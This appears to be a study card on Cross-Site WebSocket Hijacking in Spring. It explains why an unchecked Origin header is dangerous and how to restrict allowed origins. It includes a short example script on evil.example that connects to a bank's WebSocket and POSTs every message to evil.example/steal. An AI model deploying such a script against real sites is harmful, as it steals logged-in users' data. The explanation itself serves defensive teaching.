Video in progress
Why is setAllowedOrigins("*") on a WebSocket endpoint dangerous?
The browser's same-origin policy (CORS) doesn't apply to the WebSocket handshake, but cookies are sent automatically. If the Origin isn't checked, any foreign site can connect as the user and read their data. This is Cross-Site WebSocket Hijacking.
📖 Answer
Scenario: a user is logged in to your bank, and the session cookie is in the browser. Then they open the site evil.example. The script there does:
const ws = new WebSocket('wss://bank.example/ws');
ws.onmessage = e => fetch('https://evil.example/steal', { method: 'POST', body: e.data });
The bank cookie goes along with the handshake, the server recognizes the user and sends the account data. With an ordinary fetch, CORS would stop the script from reading the response, but WebSocket has no such protection.
The defense is to check the Origin header in the handshake:
registry.addEndpoint("/ws")
.setAllowedOrigins("https://bank.example", "https://admin.bank.example");
If you have many subdomains, use setAllowedOriginPatterns("https://*.bank.example").
By default Spring allows only the same origin, which is good. The trouble usually starts when someone puts * in dev because "it isn't working", and it ships to prod that way.
The browser sets the Origin header and a script can't forge it. A client outside the browser (curl, a mobile app) can write whatever it wants, so this doesn't replace authentication. It only protects against browser attacks.
Sign up to mark studied questions and save your progress.